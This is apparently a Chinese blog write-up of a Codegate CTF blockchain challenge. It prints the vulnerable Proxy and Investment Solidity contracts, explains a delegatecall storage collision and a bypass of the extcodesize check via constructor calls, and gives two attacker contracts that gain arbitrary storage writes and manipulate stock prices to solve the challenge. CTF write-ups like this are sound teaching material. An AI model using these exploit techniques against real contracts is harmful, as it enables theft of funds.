默认分类

Codegate CTF 区块链

Codegate CTF

赛时有朋友找我做,但当时看了下delegate call 感觉应该不难就没细看了。因为还在打国内比赛。后续回来复线一下。

一道代理合约滥用delegatecall的经典题目。好像和paradigm有几分相似。

赛题给出了源码 比较良心。

proxy.sol:

pragma solidity 0.8.11;


contract Proxy {
    address implementation;
    address owner;

    struct log {
        bytes12 time;
        address sender;
    }
    log info;

    constructor(address _target) {
        owner = msg.sender;
        implementation = _target;
    }

    function setImplementation(address _target) public {
        require(msg.sender == owner);
        implementation = _target;
    }

    function _delegate(address _target) internal {
        assembly {
            calldatacopy(0, 0, calldatasize())

            let result := delegatecall(gas(), _target, 0, calldatasize(), 0, 0)

            returndatacopy(0, 0, returndatasize())

            switch result
            case 0 {
                revert(0, returndatasize())
            }
            default {
                return(0, returndatasize())
            }
        }
    }

    function _implementation() internal view returns (address) {
        return implementation;
    }

    function _fallback() internal {
        _beforeFallback();
        _delegate(_implementation());
    }

    fallback() external payable {
        _fallback();
    }

    receive() external payable {
        _fallback();
    }               
     
    function _beforeFallback() internal {
        info.time = bytes12(uint96(block.timestamp));
        info.sender = msg.sender;
    }
}

Investment.sol:

pragma solidity 0.8.11;

import "/codegate/safemath.sol";

contract Investment {
    address private implementation;
    address private owner;
    address[] public donaters;

    using SafeMath for uint;

    mapping (address => bool) private _minted;
    mapping (bytes32 => uint) private _total_stocks;
    mapping (bytes32 => uint) private _reg_stocks;
    mapping (address => mapping (bytes32 => uint)) private _stocks;
    mapping (address => uint) private _balances;

    address lastDonater;
    uint fee;
    uint denominator;
    bool inited;

    event solved(address);

    modifier isInited {
        require(inited);
        _;
    }

    function init() public {
        require(!inited);

        _reg_stocks[keccak256("apple")] = 111;
        _total_stocks[keccak256("apple")] = 99999999;
        _reg_stocks[keccak256("microsoft")] = 101;
        _total_stocks[keccak256("microsoft")] = 99999999;
        _reg_stocks[keccak256("intel")] = 97;
        _total_stocks[keccak256("intel")] = 99999999;
        _reg_stocks[keccak256("amd")] = 74;
        _total_stocks[keccak256("amd")] = 99999999;
        _reg_stocks[keccak256("codegate")] = 11111111111111111111111111111111111111;
        _total_stocks[keccak256("codegate")] = 1;
        fee = 5;
        denominator = 1e4;
        inited = true;
    }

    function buyStock(string memory _stockName, uint _amountOfStock) public isInited {
        bytes32 stockName = keccak256(abi.encodePacked(_stockName));
        require(_total_stocks[stockName] > 0 && _amountOfStock > 0);
        uint amount = _reg_stocks[stockName].mul(_amountOfStock).mul(denominator + fee).div(denominator);
        require(_balances[msg.sender] >= amount);

        _balances[msg.sender] -= amount;
        _stocks[msg.sender][stockName] += _amountOfStock;
        _total_stocks[stockName] -= _amountOfStock;
    }

    function sellStock(string memory _stockName, uint _amountOfStock) public isInited {
        bytes32 stockName = keccak256(abi.encodePacked(_stockName));
        require(_amountOfStock > 0);
        uint amount = _reg_stocks[stockName].mul(_amountOfStock).mul(denominator).div(denominator + fee);
        require(_stocks[msg.sender][stockName] >= _amountOfStock);
        _balances[msg.sender] += amount;
        _stocks[msg.sender][stockName] -= _amountOfStock;
        _total_stocks[stockName] += _amountOfStock;
    }

    function donateStock(address _to, string memory _stockName, uint _amountOfStock) public isInited {
        bytes32 stockName = keccak256(abi.encodePacked(_stockName));
        require(_amountOfStock > 0);
        require(isUser(msg.sender) && _stocks[msg.sender][stockName] >= _amountOfStock);
        _stocks[msg.sender][stockName] -= _amountOfStock;
        (bool success, bytes memory result) = msg.sender.call(abi.encodeWithSignature("receiveStock(address,bytes32,uint256)", _to, stockName, _amountOfStock));
        require(success);
        lastDonater = msg.sender;
        donaters.push(lastDonater);
    }

    function isInvalidDonaters(uint index) internal returns (bool) {
        require(donaters.length > index);
        if (!isUser(lastDonater)) {
            return true;
        }
        else {
            return false;
        }
    }

    function modifyDonater(uint index) public isInited {
        require(isInvalidDonaters(index));
        donaters[index] = msg.sender;
    }

    function isUser(address _user) internal returns (bool) {
        uint size;
        assembly {
            size := extcodesize(_user)
        }
        return size == 0;
    }

    function mint() public isInited {
        require(!_minted[msg.sender]);
        _balances[msg.sender] = 300;
        _minted[msg.sender] = true;
    }

    function isSolved() public isInited {
        if (_total_stocks[keccak256("codegate")] == 0) {
            emit solved(msg.sender);
            address payable addr = payable(address(0));
            selfdestruct(addr);
        }
    }
}

代理合约这里就不多说了。比较简单的实现。允许你调用接口。这题非常迷的是他的题目部署。。。

明明proxy 代理的就是investment,他constructor却非得以address来传。很难理解他题目咋部署的。。。

以至于动态合约一开始我对应不上给出来的2个合约,后来盲fuzz了下 slot0和slot1,发现都有address,分别是 invest和msg.sender

就强行认了下合约。

然后分析一下如何攻击:

  1. 首先可以注意到有一个isInited初始化,这里肯定考虑优先把初始化工作做了。利用delegatecall就可以了。
  2. 分析得到flag的条件,我们可以看到是需要把_total_stocks中 keccak256("codegate")这一位清空,但是他这里的数量级非常大,他是用了一个类似货币兑换的手法,总之越少越值钱,他就非常值钱以至于不可能得到这个价值的货币量。所以考虑其他方法。
  3. 我们可以看到donaters这里有一个写入操作,考虑能否将它升级成为任意写。并且这里十分有趣的是打donate时候这个合约需要不能被检测,后续再用再被检测,这里可以用constructor的办法执行。未上链的时候执行的就是无bytecode
  4. 任意写首先需要把数组长度更改,delegatecall执行的时候 所有的事情都是对于自身的slot存储在进行操作了。所以。info那个结构体正好对应了 address长度。
  5. 那么这里任意写的值不太可控,但是我们可以写2种东西的汇率。让他们相等,我们买最便宜的然后写最贵的和我们买的是一个价值。在卖出我手中这个的时候再去买最贵的。就能够实现购买了。

写一下合约实现。

contract hacker{
         address Proxy=0x1Bf453e0eD6bC48328D552Fa805E29fF8E223a5f;
        string public target="amd";
        constructor(){
             Proxy.call(abi.encodeWithSignature("init()"));
             Proxy.call(abi.encodeWithSignature("mint()"));
             Proxy.call(abi.encodeWithSignature("buyStock(string,uint256)",target,4));
             Proxy.call(abi.encqodeWithSignature("donateStock(address,string,uint256)",address(this),target,1));
        }
    function receiveStock(address _to, bytes32 _stockName, uint256 _amountOfStock) public returns (bytes32)
    {
        return keccak256("1");
    }
}
contract hacker2{
            address Proxy=0x1Bf453e0eD6bC48328D552Fa805E29fF8E223a5f;
                    string public target="amd";
                    string public code="codegate";
             constructor()public{
                address(Proxy).call(abi.encodeWithSignature("mint()"));
                address(Proxy).call(abi.encodeWithSignature("buyStock(string,uint256)",target,4));
                address(Proxy).call(abi.encodeWithSignature("modifyDonater(uint256)",uint(0xcf6b5fc1742ea4c4dc1a090ac41301d94ee9e46de14bb0fdc28d4b8be624e9d8)));
                address(Proxy).call(abi.encodeWithSignature("modifyDonater(uint256)",uint(0x0627297c87a7ff96d6a3185d762f281aaf5c0efcfcfcc69db29ecb78e448bb37)));
                address(Proxy).call(abi.encodeWithSignature("sellStock(string,uint256)",target,4));
                address(Proxy).call(abi.encodeWithSignature("buyStock(string,uint256)",code,1));
                address(Proxy).call(abi.encodeWithSignature("isSolved()"));
            }

}

image.png
image.png

回复

This is just a placeholder img.